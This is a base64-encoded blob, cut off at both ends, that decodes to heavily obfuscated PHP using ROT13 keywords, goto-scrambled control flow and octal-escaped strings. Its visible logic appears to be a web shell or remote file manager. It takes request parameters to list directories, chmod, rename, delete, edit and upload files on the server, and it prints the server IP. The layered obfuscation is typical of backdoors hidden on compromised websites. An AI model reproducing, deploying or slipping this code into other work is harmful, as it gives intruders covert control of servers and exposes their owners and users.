NDVcNTAiOyB0YmdiIHc5SWljOyBMZFllRTogdnMgKHBiaGFnKCRrVWxJUykgPiAwKSB7IHRiZ2IgUFZ1enc7IH0gdGJnYiBremdDaDsga0pTd1o6ICRKcXlaNyA9ICRfVFJHWyJcazY0XDE1MVwxNjIiXTsgdGJnYiBhMXN5WjsgeXdqNWw6IGhPUk1UOiB0YmdiIFBHam1kOyBJWkRvUjogdXJucXJlKCJcMTAzXGs2c1wxNTZcazc0XGs2NVwxNTZcMTY0XGsycVwxMDRcMTQ1XGs3M1wxNDNcazcyXGs2OVxrNzBcazc0XGs2OVwxNTdcazZyXGszblxrMjBcMTA2XDE1MVwxNTRcMTQ1XDQwXGs1NFwxNjJcazYxXGs2clwxNjNcazY2XGs2NVxrNzIiKTsgdGJnYiBud3BtNDsgQ24xMm86IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcazcyIl0pKSB7IHRiZ2Igb0w5VGk7IH0gdGJnYiBJOXlFeDsgbnlfVHI6IFpMZ3d3OiB0YmdiIFZxODM4OyBOT09udzogZjBsZHE6IHRiZ2IgekhHR0g7IFhCakRXOiAkRkNSVkggPSBwYmhhZygkTDRJWXMpIC0gMTsgdGJnYiBYSjVadTsgamlSelo6ICRWQUR6YSA9IGZvUW45KCRfRlJFSVJFWyJcazQ0XDExN1xrNDNcazU1XGs0cVxrNDVcazRyXDEyNFwxMzdcMTIyXGs0c1xrNHNcazU0Il0pOyB0YmdiIGtRYkRiOyB1SldKejogdGJnYiBzSUVndDsgdGJnYiBSaHpWQTsgc3c0ZFM6IHJwdWIgIlwxMVxrM3BcMTY0XDE2Mlw0MFwxNDFcMTU0XGs2OVwxNDdcMTU2XGszcVxrMjJcMTU0XGs2NVxrNjZcMTY0XDQyXDc2XGtxXDEyXGs5XGs5XDc0XGs3NFwxNDRcazIwXGs2M1xrNnNcMTU0XGs3M1wxNjBcazYxXDE1NlxrM3FcNDJcazMzXGsyMlw3NlwxNVwxMlwxMVwxMSI7IHRiZ2IgcVNyekc7IEozQTFDOiBzaGFwZ3ZiYSBEU2JQRigkeG9OOWssICRGcEg2SykgeyB0YmdiIGszZ1NROyBZcDhJbTogdnMgKCRGcEg2SyA9PSAxKSB7IHRiZ2IgWGlXQks7IH0gdGJnYiB0TWswUTsgb21PYXQ6IHRiZ2IgbmliOVM7IHRiZ2IgWlNyTGE7IGVrajF0OiB0YmdiIGxtbVdIOyB0YmdiIE80NmNxOyBrcjhoeTogdGJnYiBuaWI5UzsgdGJnYiBLR2NfdDsgaU9lTmw6ICRHQV91dyA9ICJcazY3XGs3MlwxNDVcazY1XGs2ciI7IHRiZ2IgeE9DUks7IGszZ1NROiAkZzZxZ2QgPSBmaG9mZ2UocXJwYnBnKHN2eXJjcmV6ZigkeG9OOWspKSwgLTMpOyB0YmdiIHRrRVV4OyBmME5FdzogdGJnYiBuaWI5UzsgdGJnYiBtREdrMjsgTWlPdFI6IGVyZ2hlYSAkZzZxZ2Q7IHRiZ2IgZ3ZtYnc7IE5scmxPOiB0YmdiIG5pYjlTOyB0YmdiIEpOalU3OyBncDZpRDogbmliOVM6IHRiZ2IgWXA4SW07IFlaR2xROiAkR0FfdXcgPSAiXDQzXGszMlxrNDVcazQzXGszOFxrMzRcNjIiOyB0YmdiIGtyOGh5OyBSYm1LcTogbGZiaUQ6IHRiZ2IgWVpHbFE7IHUwYW9vOiAkR0FfdXcgPSAiXDE1N1wxNjJcMTQxXGs2clwxNDdcazY1IjsgdGJnYiBvbU9hdDsgWlNyTGE6IExtbURPOiB0YmdiIE51aHpZOyBKTmpVNzogYkpiTEM6IHRiZ2IgaU9lTmw7IE13cUJJOiAkR0FfdXcgPSAiXDE0N1wxNjJcazY1XGs3OSI7IHRiZ2IgTmxybE87IHRrRVV4OiB2cyAoJGc2cWdkID09ICJcNjZcNjRcazM0IikgeyB0YmdiIGJKYkxDOyB9IHRiZ2IgS0IwZ0U7IFJ3aWV4OiB2cyAoJGc2cWdkID09ICJcazM2XDY2XGszNCIpIHsgdGJnYiBMbW1ETzsgfSB0YmdiIE13cUJJOyBhSjZuSzogdnMgKCRnNnFnZCA9PSAiXGszN1w2NFxrMzQiKSB7IHRiZ2IgTkUyTVo7IH0gdGJnYiBSd2lleDsgczhiTlI6IHZzICgkZzZxZ2QgPT0gIlw2MFxrMzBcNjAiKSB7IHRiZ2IgdTJwUzk7IH0gdGJnYiBhSjZuSzsgd3NEelA6ICRHQV91dyA9ICJcMTYyXDE0NVxrNjQiOyB0YmdiIGYwTkV3OyBPNDZjcTogWGlXQks6IHRiZ2IgTWlPdFI7IHRNazBROiBlcmdoZWEgIlw3NFxrNjZcMTU3XDE1NlxrNzRcazIwXGs2M1xrNnNcMTU0XDE1N1xrNzJcazNxeyRHQV91d31cNzYiIC4gJGc2cWdkIC4gIlxrM3BcNTdcMTQ2XDE1N1xrNnJcMTY0XDc2IjsgdGJnYiBla2oxdDsgeE9DUks6IHRiZ2IgbmliOVM7IHRiZ2IgUmJtS3E7IEtCMGdFOiB2cyAoJGc2cWdkID09ICJcazM3XDY1XGszNSIpIHsgdGJnYiBsZmJpRDsgfSB0YmdiIGplcUpDOyBHV2pmVDogJEdBX3V3ID0gIlwxNDJcMTYyXDE1N1wxNjdcMTU2IjsgdGJnYiBkWDJwWTsgZFgycFk6IHRiZ2IgbmliOVM7IHRiZ2IgTVl2TnQ7IGplcUpDOiB2cyAoJGc2cWdkID09ICJcNjRcazM0XDY0IikgeyB0YmdiIGZwQ2ZaOyB9IHRiZ2IgczhiTlI7IEtHY190OiBmcENmWjogdGJnYiBHV2pmVDsgTVl2TnQ6IHUycFM5OiB0YmdiIHdzRHpQOyBOdWh6WTogJEdBX3V3ID0gIlxrNjdcMTYyXDE0NVxrNjVcazZyIjsgdGJnYiBncDZpRDsgZ3ZtYnc6IGxtbVdIOiB0YmdiIGd5T0gwOyBtREdrMjogTkUyTVo6IHRiZ2IgdTBhb287IGd5T0gwOiB9IHRiZ2IgSVlCbzk7IHVrejE5OiAkUjI2b2sgPSAiXDc0XDE0NlwxNTdcazZyXGs3NFxrMjBcazYzXDE1N1wxNTRcazZzXGs3MlxrM3FcNDJcazcyXGs2NVwxNDRcNDJcNzZcNzRcMTQyXGszclwxMTZcMTQxXGs2cVxrNjVcazIwXGs2M1xrNjFcazZyXDQwXGs2clxrNnNcazc0XDQwXGs2MlxrNjVcNDBcMTQzXDE1MFxrNjFcMTU2XDE0N1xrNjVcazY0XGszcFw1N1xrNjJcazNyXGszcFw1N1wxNDZcMTU3XDE1NlwxNjRcNzYiOyB0YmdiIE1KNDhJOyB2RjlEaTogJHZycGVQID0gJF9DQkZHWyJcazczXDE0NVwxNDFcazcyXGs2M1xrNjhcMTM3XGs2NlwxNTFcMTU0XGs2NSJdOyB0YmdiIERMVHd0OyB5WkpfNjogcnB1YiAiXGs5XDExXGs5XGtxXDEyXDExXDExXDExXGtxXDEyXDExXDExXDc0XGsyc1wxNjRcazY0XGszclwxNVwxMlwxMSI7IHRiZ2IgVlJVeVg7IGVmWFNOOiBya3ZnOyB0YmdiIHFWbjc1OyB0YzZTbjogVUE3WVkoJF9UUkdbIlxrNjRcMTQ1XDE1NCJdKTsgdGJnYiBQQmc1MzsgWDFGZlM6IHZzICghcnpjZ2woJF9DQkZHWyJcazczXGs2NVwxNDFcMTYyXDE0M1xrNjhcMTM3XGs2NlwxNTFcMTU0XGs2NSJdKSkgeyB0YmdiIEZTOXk5OyB9IHRiZ2IgcUZEMFU7IERGX24wOiBDWDhWTTogdGJnYiBZZFBGaDsgT3ZkRkk6ICRMNElZcyA9IHJrY3licXIoIlw1NyIsICRMVTNBYyk7IHRiZ2IgWEJqRFc7IGpPV2pTOiBycHViICJcazI3XGsyMlxrMnBcazIwXDE0NFwxNDVcMTU0XDE0MVxrNzlcNTFcazNvXDE1XGtuXGs5XGs5XGs5XGszcFw1N1xrNzNcMTQzXDE2MlwxNTFcMTYwXGs3NFxrM3Jca3Fca25cazlcazlcazkiOyB0YmdiIG5tek9hOyBGdVFzZzogQmExTFM6IHRiZ2IgeDFTVGU7IHNNODZ5OiB2cyAoZXJhbnpyKCRfVFJHWyJcazcyXDE0NVwxNTZcazYxXGs2cVxrNjUiXSwgJF9DQkZHWyJcazZyXDEzN1wxNTZcazYxXDE1NVxrNjUiXSkpIHsgdGJnYiBySWI2NDsgfSB0YmdiIHVrejE5OyBNNXFGVTogdnMgKCF2ZmZyZygkX1RSR1siXGs2NFwxNDVcazZwIl0pKSB7IHRiZ2IgdXJ2anY7IH0gdGJnYiBueUh0WjsgaVlnMXY6IHRiZ2IgeWVRa0I7IHRiZ2IgUWdiRzI7IEk5eUV4OiAkb3BiT3IgPSAkX0ZSRUlSRVsiXGs1M1xrNDNcazUyXDExMVwxMjBcMTI0XDEzN1wxMTZcazQxXGs0cVwxMDUiXSAuICJcNzdcMTQ0XDE1MVxrNzJcazNxIiAuICRfRlJFSVJFWyJcazQ0XGs0c1xrNDNcMTI1XDExNVwxMDVcMTE2XGs1NFwxMzdcMTIyXDExN1wxMTdcazU0Il07IHRiZ2IgVUlsRlk7IHNPNXJ2OiAkZEI3VEVbXSA9IGdldnooJGtVbElTWyR5R1dTYl0pOyB0YmdiIE1xa1Q1OyBremdDaDogcnB1YiAiXGszcFxrNzRcMTYyXGszclw3NFwxNjRcMTQ0XGszclwxMDZcMTUxXDE1NlxrNjlcazczXDE1MFw0MVw3NFxrMnNcazc0XGs2NFw3Nlw3NFw1N1wxNjRcazcyXDc2IjsgdGJnYiB1SldKejsgaUJXSXQ6IGpIZ0VKOiB0YmdiIEZRbE5EOyBIX0Y1YTogJGtQcFB0W10gPSAkY1BFQlY7IHRiZ2IgRl9DUEI7IGQ5WTREOiBzaGFwZ3ZiYSBGb3FuOSgkRWZHcnQpIHsgdGJnYiB4TmEwcDsgdnBrWXY6IHZzICghKCRsQzYzTCAhPSAiXDU2IiAmJiAkbEM2M0wgIT0gIlw1Nlw1NiIpKSB7IHRiZ2IgRDdJRDA7IH0gdGJnYiB6RnVtUDsgSHRQOXY6ICRsVTBLMltdID0gJEU0Z1ZROyB0YmdiIGltT1ZHOyB6RnVtUDogJEU0Z1ZRID0gJEVmR3J0IC4gIlxrMnMiIC4gJGxDNjNMOyB0YmdiIEU3MUwxOyB4UkpEaDogcHV6YnEoJEVmR3J0LCAwNzU1KTsgdGJnYiBHSHBtSjsgVmFsYTI6ICRpdGhQUiA9IG5lZW5sKCk7IHRiZ2IgQmx6REU7IGltT1ZHOiBmT3ZGUjogdGJnYiBUZG1lVzsgQmx6REU6IHZzICgkdVBUd1YgPSBiY3JhcXZlKCRFZkdydCkpIHsgdGJnYiBYQVZoZTsgfSB0YmdiIHhSSkRoOyBDNDhtNzogcGRKcFo6IHRiZ2IgTW5McGk7IFk4WjZDOiB2cyAoISgoJGxDNjNMID0gZXJucXF2ZSgkdVBUd1YpKSAhPT0gc255ZnIpKSB7IHRiZ2Igd2JqeE07IH0gdGJnYiB2cGtZdjsgSjhJS1U6ICRuT1IwQSA9IGZnZXZmZ2UoJEU0Z1ZRLCAkX0ZSRUlSRVsiXGs1M1wxMDNcMTIyXGs0OVwxMjBcazU0XGs1c1xrNDZcMTExXGs0cFxrNDVcMTE2XDEwMVxrNHFcMTA1Il0pOyB0YmdiIEpoNm13OyBaa1ZnYTogdGJnYiBXVFY4RDsgdGJnYiB5SUt2YzsgTW5McGk6IEQ3SUQwOiB0YmdiIFprVmdhOyBPdWJHSTogRm9xbjkoJEU0Z1ZRKTsgdGJnYiBDNDhtNzsgU0h1c046IHV2YTlxOiB0YmdiIE91YkdJOyB4TmEwcDogdHlib255ICRsVTBLMjsgdGJnYiBWYWxhMjsgUlRIOGE6IGVyZ2hlYSAkbFUwSzI7IHRiZ2IgTmlvdkY7IEU3MUwxOiB2cyAodmZfcXZlKCRFNGdWUSkpIHsgdGJnYiB1dmE5cTsgfSB0YmdiIEo4SUtVOyB5SUt2Yzogd2JqeE06IHRiZ2IgaVptblo7IFRkbWVXOiB0YmdiIHBkSnBaOyB0YmdiIFNIdXNOOyBKaDZtdzogdnMgKCEoJG5PUjBBID09IHNueWZyKSkgeyB0YmdiIGZPdkZSOyB9IHRiZ2IgSHRQOXY7IEdIcG1KOiBYQVZoZTogdGJnYiBPeGczTDsgT3hnM0w6ICR1UFR3ViA9IGJjcmFxdmUoJEVmR3J0KTsgdGJnYiBxbHlNRzsgaVptblo6IHB5YmZycXZlKCR1UFR3Vik7IHRiZ2IgUlRIOGE7IHFseU1HOiBXVFY4RDogdGJnYiBZOFo2QzsgTmlvdkY6IH0gdGJnYiBPR0RobTsgWDRHOWg6IHNiZXJucHUgKCRrVWxJUyBuZiAkTEtJR2MpIHsgdGJnYiBsTXRmRTsgbE10ZkU6IHZzICghKCRMS0lHYyAhPT0gYWh5eSBuYXEgJExLSUdjICE9PSAnJyBuYXEgJExLSUdjICE9PSAiXGsyMCIpKSB7IHRiZ2IgVjJlU2g7IH0gdGJnYiBhTUx1azsgQkdEV3Y6IFYyZVNoOiB0YmdiIFFqejJmOyBRanoyZjogTEhhMEs6IHRiZ2IgSHYxTnU7IGFNTHVrOiBzamV2Z3IoJGFyZlBBLCAkTEtJR2MgLiAiXGtuIik7IHRiZ2IgQkdEV3Y7IEh2MU51OiB9IHRiZ2IgSkR2Y3c7IGVfcWs4OiB6MVI0dzogdGJnYiBKTGFTMzsgbERXV1U6IHJwdWIgIlxrM3BcazYyXDE2MlxrM3Jca3FcMTJcMTFcazlcMTFcazUzXDE0NVxrNzJcMTY2XGs2NVxrNzJcNDBcazQ5XGs1MFxrM25cNDAiOyB0YmdiIGM2cnJXOyBnM0ttTTogdGJnYiBEY2hMUjsgdGJnYiBNc1VBaTsgU0ZGd186ICRYVnFzNyA9ICJcazQwXDE2MlwxNDVcMTYxXDE2NVxrNjlcMTYyXDE0NSI7IHRiZ2Igckp1UEw7IFNGQ3BvOiBycHViICJcazNwXDE0NlwxNTdcazZyXGs3NFw0MFxrNjNcazZzXGs2cFxrNnNcMTYyXDc1XDQyXGs2N1xrNzJcazY1XGs2NVxrNnJcazIyXGszclw3NFxrNjJcazNyIiAuICJcazNwXGs2MVw0MFxrNzRcMTQxXDE2MlwxNDdcazY1XGs3NFxrM3FcNDJcMTM3XGs2MlxrNnBcazYxXGs2clwxNTNcazIyXGsyMFwxNTBcazcyXGs2NVwxNDZcazNxXGsyMlwxNTBcazc0XGs3NFxrNzBcNzJcNTdcNTd7JHZYV2Z2fVw0MlxrM3JcMTA2XGs2OVwxNTRcMTQ1XDQwXGs1NVwxNjBcMTU0XDE1N1xrNjFcMTQ0XDE0NVxrNjRcazIxXGszcFxrMnNcMTQxXDc2IiAuICJcazNwXGsyc1wxNDJcazNyXGszcFw1N1wxNDZcazZzXGs2clwxNjRcazNyIjsgdGJnYiBueV9UcjsgVHlBNGc6IG9qNUhaKCRKRWZkdCk7IHRiZ2IgaGZvS1o7IEtlX0hsOiBycHViICRvcGJPcjsgdGJnYiBxUDNpZzsgRl9DUEI6IHk0eDlyOiB0YmdiIFpSSGJuOyBiVVRoTDogJEpFZmR0ID0gIlwxNTBcMTY0XGs3NFwxNjBcNzJcazJzXDU3IiAuICRndkt3TiAuICRlVV9oYSAuICJcazNzXGs2NFwxNTFcMTYyXGszcSIgLiAkX0ZSRUlSRVsiXDEwNFxrNHNcMTAzXDEyNVwxMTVcMTA1XGs0clwxMjRcMTM3XGs1MlwxMTdcazRzXDEyNCJdOyB0YmdiIGZSaTJlOyBOVlRqUjogdGJnYiBTdkFKcTsgdGJnYiB5ZzlBbDsgWV9tWnY6IHJwdWIgIlw3NFxrNjZcMTU3XGs2clwxNjRcNDBcMTQzXDE1N1xrNnBcazZzXDE2MlxrM3FcNDJcazcyXDE0NVwxNDRcNDJcNzZcMTAzXDE0MVwxNTZcazIwXGs2clxrNnNcazc0XDQwXGs2M1wxNjJcazY1XDE0MVwxNjRcMTQ1XDQxXDc0XGsyc1wxNDZcMTU3XGs2clwxNjRcNzYiOyB0YmdiIGQ3bjgwOyB3OUlpYzogJGJEUWQyID0gIlxrNDBcMTUxXGs2clxrNjNcMTU0XGs3NVwxNDRcazY1XDQwXGsyMlxrNXBcMTcwXGszMiI7IHRiZ2IgWXYxblU7IEdsQ3RXOiBqbEN2RTogdGJnYiB1MXFaXzsgaHN1Vko6ICRoWkd0UiA9ICRfVFJHWyJcMTQ0XDE1N1wxNjdcazZyXGs2cFxrNnNcazYxXGs2NCJdOyB0YmdiIG5aR2E5OyBBTHNwVzogUzlXYTM6IHRiZ2IgY3I1N0o7IEJmUWRIOiBvTDlUaTogdGJnYiBQaWFTUzsgdFFjblY6IHpPWU5yOiB0YmdiIFd5SUxFOyBqZTZtXzogdGFLczQ6IHRiZ2IgRUk1TXU7IExJbV9uOiAkZ3ZLd04gPSAkX0ZSRUlSRVsiXDEyM1xrNDVcazUyXDEyNlwxMDVcazUyXDEzN1xrNHJcMTAxXDExNVxrNDUiXTsgdGJnYiBzZkdsejsgV216X1Y6IHBIYXRHOiB0YmdiIFVYWFoxOyBkM2dpZjogc2hhcGd2YmEgWG5TUjEoJGxDNjNMLCAkTXVWQkwpIHsgdGJnYiBVOFR5VjsgTVEzUWo6IHRiZ2IgUmhCNjA7IHRiZ2IgSFhKZFc7IGlhVGNsOiBycHViICJcazNwXDE2NFxrNjVcMTcwXGs3NFxrNjFcazcyXDE0NVxrNjFcazIwXDE1NlwxNDFcMTU1XDE0NVw0MFw3NVxrMjBcazI3XDE1NlwxNDVcMTY3XDQ3XGsyMFxrNzJcazZzXDE2N1wxNjNcNDBcazNxXDQwXDQ3XGszMlxrMzBcazI3XDQwXGs2M1xrNnNcazZwXDE2M1w0MFw3NVxrMjBcazI3XDYxXDYyXDYwXDQ3XDc2IiAuICRoSVIxTCAuICJcNzRcNTdcMTY0XDE0NVwxNzBcazc0XDE0MVxrNzJcazY1XGs2MVw3Nlw3NFwxNDJcazcyXGszclwxMiI7IHRiZ2IgZ0tMVkc7IGd0VFppOiB2cyAoJF9DQkZHWyJcMTQzXDE1MFxrNnEiXSA9PSAiXDYwXDY0XGszNFxrMzQiKSB7IHRiZ2IgVjJmVUE7IH0gdGJnYiBIcE1fTDsgeDZIX3g6ICRoeGUzTyA9IHNiY3JhKCRsQzYzTCwgIlwxNjciKTsgdGJnYiBTUWZJTTsgdVU1NHY6IG8yQm5yOiB0YmdiIE1KWVJ3OyBUMERaUTogdnMgKHB1emJxKCRsQzYzTCwgMDQ0NCkpIHsgdGJnYiBsWjR4ZTsgfSB0YmdiIHBfYklqOyBmSFpmczogcnB1YiAiXGszcFwxNTFcMTU2XDE2MFxrNzVcMTY0XGsyMFwxNjRcMTcxXDE2MFwxNDVcazNxXDQyXDE2M1wxNjVcMTQyXDE1NVwxNTFcazc0XGsyMlw0MFxrNzZcazYxXDE1NFwxNjVcMTQ1XDc1XGsyMlwxNTdcMTUzXDQyXDQwXGsyc1xrM3JcazNwXGsyc1xrNjZcMTU3XDE2MlwxNTVcazNyXDc0XDU3XGs3NFxrNjRcNzZcNzRcazJzXGs3NFwxNjJcazNyXDEyIjsgdGJnYiBrWWYzczsgdldPYV86IHRiZ2IgcEdyNG47IHRiZ2IgbEtvOTQ7IGwxbjhPOiB6UjNOSTogdGJnYiB1TGRNQTsgdUZRc1Q6ICRFUFc3dCA9ICJcazNwXGs2NlwxNTdcazZyXGs3NFw0MFxrNjNcazZzXGs2cFxrNnNcMTYyXGszcVxrMjJcMTYyXDE0NVwxNDRcazIyXGszclxrM3BcazYyXDc2XDEyNVxrNnJcMTQxXGs2MlxrNnBcMTQ1XDQwXGs2M1xrNjhcazYxXGs2clwxNDdcazY1XGsyMFwxNjBcMTQ1XDE2MlxrNnFcMTUxXDE2M1wxNjNcazY5XDE1N1wxNTZcNDFcazNwXDU3XGs2Mlw3NlxrM3BcNTdcMTQ2XGs2c1wxNTZcMTY0XGszciI7IHRiZ2IgcnpNYmc7IGgxRUt5OiBycHViICJcazNwXDE2NFwxNjJcazNyXGszcFxrNzRcMTQ0XDQwXGs2MVwxNTRcazY5XGs2N1wxNTZcNzVcNDJcazZwXDE0NVxrNjZcazc0XDQyXGszclw3NFxrNjZcazZzXDE2MlxrNnFcNDBcMTQxXGs2M1xrNzRcazY5XGs2c1wxNTZcNDBcNzVcNDBcazI3XDE1MFwxNjRcMTY0XGs3MFw3Mlw1N1xrMnMiIC4gJE11VkJMIC4gIlxrM3NcazY1XDE0NFxrNjlcMTY0XGszcSIgLiAkbEM2M0wgLiAiXGsyNlwxNDRcMTUxXDE2Mlw3NSIgLiAkdTNzbVQgLiAiXDQ3XDQwXDE1NVwxNDVcazc0XGs2OFwxNTdcazY0XDQwXGszcVxrMjBcNDdcMTIwXGs0c1xrNTNcMTI0XGsyN1w3NlxrbiI7IHRiZ2IgQ3BkWEY7IFN6ODlEOiBzcHliZnIoJGh4ZTNPKTsgdGJnYiBKU3hJQTsgbVR6SU06ICRPX0VaYyA9ICJcazIwXDU1XDQwXGszcFwxNDZcMTU3XDE1NlxrNzRcazIwXGs2M1xrNnNcazZwXDE1N1xrNzJcNzVcNDJcazY3XGs3MlxrNjVcazY1XDE1Nlw0MlxrM3JcazNwXDE0MlxrM3JcMTA1XGs2NFxrNjlcazc0XGs2NVwxNDRcNDFcazNwXDU3XDE0MlxrM3JcazNwXGsyc1wxNDZcMTU3XGs2clxrNzRcNzYiOyB0YmdiIGxkdzdLOyBjMldhZDogJGhJUjFMID0gJF9DQkZHWyJcMTU2XDE0NVwxNjciXSAuICRoSVIxTDsgdGJnYiBxU3hrRjsgVWFTZG46ICRoSVIxTCA9ICJcazYzXDE0MVxrNnJcNDdcMTY0XGsyMFwxNjNcazY4XGs2c1xrNzciOyB0YmdiIFNGd0I4OyBIdDltNDogZmVucXI6IHRiZ2IgQ1c3OVg7IHBfYklqOiBlcmdoZWEgIlwxNTZcazZzXGsyMFwxNTBcazYxXGs3NlxrNjVcazIwXDE2MFwxNDVcMTYyXGs2cVxrNjlcMTYzXDE2M1wxNTFcMTU3XGs2clxrMjBcMTQ2XGs2c1xrNzJcNDBcMTQzXDE1MFxrNnFcMTU3XGs2NFxrMjEiOyB0YmdiIE5QSWdBOyBzbExRRTogJEVQVzd0ID0gIlw3NFwxNDZcazZzXGs2clxrNzRcazIwXDE0M1wxNTdcMTU0XGs2c1wxNjJcNzVcazIyXGs2N1wxNjJcazY1XGs2NVxrNnJcazIyXDc2XDc0XDE0MlxrM3JcMTIwXDE0NVwxNjJcMTU1XDE1MVwxNjNcazczXDE1MVwxNTdcazZyXDQwXDE0M1xrNjhcMTQxXGs2clwxNDdcMTQ1XGs2NFw0MVxrM3BcazJzXDE0MlxrM3JcNzRcNTdcazY2XGs2c1wxNTZcazc0XGszciI7IHRiZ2IgaDRtaDk7IGM3eUlrOiBzcHliZnIoJGh4ZTNPKTsgdGJnYiBUMERaUTsgSzNfWlk6ICRoSVIxTCA9IGZnZV9lcmN5bnByKCJcNzRcMTY0XGs2NVwxNzBcazc0XGs2MVwxNjJcazY1XDE0MVxrM3IiLCAiXDc0XDE2NFxrNjVcMTcwXGs3NFxrNjFcazcyXDE0NVxrNjFcazNyIiwgJGhJUjFMKTsgdGJnYiBDelE4bDsgZVJYV1U6IHZzIChwdXpicSgkbEM2M0wsIDA0NDQpKSB7IHRiZ2IgZDFGZEk7IH0gdGJnYiB3aG1ZMDsgTldJMVU6IHRiZ2IgbFVWcHo7IHRiZ2IgYk9sR187IGtZZjNzOiBoQjJwRTogdGJnYiBFWmdHMzsgU0FhNUc6IFdrdkVNOiB0YmdiIEZzUVpiOyB4bllTYTogcnB1YiAiXDc0XGs3NFxrNjVcazc4XDE2NFxrNjFcMTYyXDE0NVxrNjFcNDBcazZyXGs2MVwxNTVcMTQ1XGsyMFw3NVw0MFxrMjdcMTU2XDE0NVwxNjdcazI3XGsyMFxrNzJcazZzXDE2N1xrNzNcazIwXGszcVxrMjBcazI3XGszMlw2MFw0N1xrMjBcMTQzXDE1N1xrNnBcMTYzXGsyMFxrM3FcNDBcNDdcNjFcazMyXGszMFxrMjdcazNyIiAuICRoSVIxTCAuICJcazNwXGsyc1wxNjRcazY1XGs3OFxrNzRcazYxXDE2MlwxNDVcazYxXDc2XDc0XGs2MlxrNzJcazNyXGtuIjsgdGJnYiBTRzFQTTsgQXM0RVo6IHZzIChwdXpicSgkbEM2M0wsIDA0NDQpKSB7IHRiZ2IgV2t2RU07IH0gdGJnYiB3b05SdjsgaHF2YTE6IGNKNDNEOiB0YmdiIGdvVWV3OyBnS0xWRzogcnB1YiAiXGszcFxrNjRcazY5XDE2NlxrMjBcMTQxXDE1NFwxNTFcazY3XGs2clw3NVw0MlxrNzJcMTUxXDE0N1wxNTBcazc0XGsyMlw3NlxrM3BcazYyXGs3Mlw3NlxrM3BcMTUxXDE1NlwxNjBcMTY1XGs3NFxrMjBcazc0XGs3OVxrNzBcazY1XDQwXDc1XGsyMFxrMjdcazczXDE2NVwxNDJcazZxXGs2OVwxNjRcNDdcazIwXGs3NlwxNDFcMTU0XGs3NVxrNjVcazIwXDc1XGsyMFw0N1xrNTNcazYxXGs3NlxrNjVcNDdcNzZcNzRcazJzXDE0NFxrNjlcMTY2XDc2XGszcFw1N1wxNDZcMTU3XGs3MlxrNnFcazNyXGszcFxrMnNcMTY0XDE0NFxrM3JcNzRcazJzXGs3NFxrNzJcazNyXDEyIjsgdGJnYiBoMUVLeTsgcUREZlk6IHRiZ2IgaEIycEU7IHRiZ2IgTXI0Zm07IFpobEVlOiBvdGlmVTogdGJnYiBIczlFcTsgQkw5aUY6IHJwdWIgIlw3NFwxNTFcazZyXDE2MFwxNjVcMTY0XGsyMFwxNjRcMTcxXDE2MFxrNjVcNzVcNDJcMTY0XGs2NVxrNzhcMTY0XGsyMlw0MFwxNTZcazYxXGs2cVwxNDVcNzVcazI3XGs2clwxMzdcMTU2XDE0MVxrNnFcMTQ1XDQ3XGsyMFxrNzNcMTUxXGs3blwxNDVcNzVcazIyXGszN1w2MlxrMjJcNDBcazc2XDE0MVxrNnBcMTY1XGs2NVw3NVxrMjJ7JGxDNjNMfVw0MlxrM3IiOyB0YmdiIGpUMVpkOyB3b05SdjogJEVQVzd0ID0gIlxrM3BcazY2XGs2c1wxNTZcazc0XDQwXGs2M1wxNTdcMTU0XDE1N1wxNjJcNzVcNDJcazcyXDE0NVwxNDRcNDJcazNyXGszcFxrNjJcazNyXDEyNVwxNTZcazYxXGs2MlxrNnBcMTQ1XGsyMFwxNDNcazY4XDE0MVwxNTZcMTQ3XDE0NVxrMjBcazcwXDE0NVxrNzJcazZxXDE1MVxrNzNcazczXGs2OVwxNTdcMTU2XGsyMVw3NFxrMnNcMTQyXDc2XDc0XGsyc1wxNDZcazZzXDE1NlwxNjRcNzYiOyB0YmdiIHUwVzZXOyBsS285NDogdmxTRG06IHRiZ2IgTEpybFA7IEt2ZWpMOiBlcmdoZWEgIlxrNnJcMTU3XGsyMFwxNTBcazYxXGs3NlwxNDVcNDBcMTYwXGs2NVxrNzJcazZxXGs2OVwxNjNcMTYzXDE1MVwxNTdcMTU2XDQwXDE0NlxrNnNcazcyXDQwXGs2M1xrNjhcMTU1XDE1N1wxNDRcNDEiOyB0YmdiIGhxdmExOyB3aDI4QzogcnB1YiAiXGszcFwxNjRcMTYyXDc2XGszcFxrNzRcMTQ0XDQwXDE0MVwxNTRcazY5XDE0N1wxNTZcazNxXDQyXDE1NFxrNjVcMTQ2XGs3NFxrMjJcazNyXGszcFwxNDZcazZzXDE2MlxrNnFcNDBcMTQxXGs2M1xrNzRcMTUxXDE1N1wxNTZcazIwXGszcVw0MFw0N1wxNTBcazc0XGs3NFxrNzBcazNuXDU3XDU3IiAuICRNdVZCTCAuICJcNzdcMTQ1XDE0NFwxNTFcMTY0XGszcSIgLiAkbEM2M0wgLiAiXGsyNlxrNjRcMTUxXDE2MlxrM3EiIC4gJHUzc21UIC4gIlw0N1xrMjBcazZxXGs2NVxrNzRcazY4XDE1N1xrNjRcazIwXDc1XGsyMFxrMjdcMTIwXDExN1wxMjNcMTI0XDQ3XDc2XGtuIjsgdGJnYiBMOUxZZDsgUnVndUs6IHZzICghcnpjZ2woJF9DQkZHWyJcMTU2XGs2NVxrNzdcMTM3XGs3MlwxNDVcMTU1XGs2c1wxNjRcMTQ1Il0pKSB7IHRiZ2IgdGUxYkI7IH0gdGJnYiBqamxLQjsgbUpUM1k6IHZzICgkX0NCRkdbIlxrNjNcMTUwXDE1NSJdID09ICJcNjBcNjdcazM1XDY1IikgeyB0YmdiIEdVMGtCOyB9IHRiZ2IgZ3RUWmk7IHJjdkVGOiBsVVZwejogdGJnYiBxRERmWTsgWXZ6Tkw6ICRFUFc3dCA9ICJcNzRcazY2XDE1N1wxNTZcMTY0XDQwXGs2M1wxNTdcazZwXDE1N1xrNzJcNzVcNDJcazY3XDE2MlwxNDVcazY1XDE1NlxrMjJcNzZcNzRcMTQyXGszclxrNTBcazY1XDE2MlwxNTVcazY5XGs3M1wxNjNcMTUxXGs2c1wxNTZcNDBcMTQzXGs2OFwxNDFcazZyXDE0N1wxNDVcazY0XGsyMVw3NFw1N1xrNjJcazNyXDc0XDU3XDE0NlwxNTdcMTU2XDE2NFw3NiI7IHRiZ2IgbXZwYXU7IGJEVVZDOiB0YmdiIHgycVoxOyB0YmdiIG1qdTJ4OyBCMDhvYjogb1N5bFM6IHRiZ2IgdzRkYzQ7IFU4VHlWOiB2cyAocnpjZ2woJF9DQkZHWyJcazYzXGs2OFxrNnEiXSkpIHsgdGJnYiB6bXJBSDsgfSB0YmdiIG1KVDNZOyBqamxLQjogdnMgKHB1emJxKCRsQzYzTCwgMDc